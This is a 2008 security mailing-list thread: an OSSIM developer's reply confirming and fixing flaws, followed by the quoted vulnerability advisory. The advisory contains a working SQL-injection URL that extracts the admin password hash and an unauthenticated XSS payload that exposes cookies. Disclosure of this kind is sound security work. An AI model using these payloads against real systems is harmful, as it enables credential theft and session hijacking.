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Re: SQL-injection, XSS in OSSIM (Open Source Security Information Management)


I can confirm this affecting earlier versions as well, the XSS has been fixed some months ago, the SQL Injection (and others) were caused by a failure in the "punctuation" validation regexp. Just fixed that one as well as some others.

We're going to release a fixed version asap after stopping development in order to get a throughout security audit done. The SQL regexp I just fixed and we'll update the packages today.

Nonetheless, exposure should be minimal since:

a) You aren't going to provide public access to your SIM console, aren't you ? b) Regarding the specific SQL injection mentioned in here (as said, there are more we're going to fix), you shouldn't give access to the policy section to normal users either.

I must thank you for pointing this out but would've appreciate a more "direct" contact, as it is considered a polite way of releasing bugs.



Am 21.02.2008 um 13:47 schrieb marcin.kopec@xxxxxxxxxxx:

Application: OSSIM
Version: 0.9.9rc5
Note: it is possible that the problem affects also earlier OSSIM versions
Platforms: Linux
Bug: SQL injection, Cross Site Scripting
Exploitation: remote
Date: 21 Feb 2008
Author: Marcin Kopec
E-mail: marcin(dot)kopec(at)hotmail(dot)com


1) Introduction

OSSIM it's a free implementation of Security Information Management (SIM) system, equipped with many useful security tools (nessus, snort, p0f, ntop, ...) managed from easy-to-use web panel.

2) SQL injection

The bug exist in portname parameter of modifyportform.php
It's possible to obtain hashed administrator password when user have rights to do port modification in "PORTS" tab.

http://[host]/ossim/port/modifyportform.php?portname=ANY'%20and %201=2%20union%20select%20pass,2%20from%20ossim.users%20where %20login='admin

3) XSS

Quotes in OSSIM aren't property sanitized.
Below XSS may be executed without logging into the OSSIM.

http://[host]/ossim/session/login.php?dest=%22%3E%3Cscript %3Ealert(document.cookie)%3C/script%3E%3C!--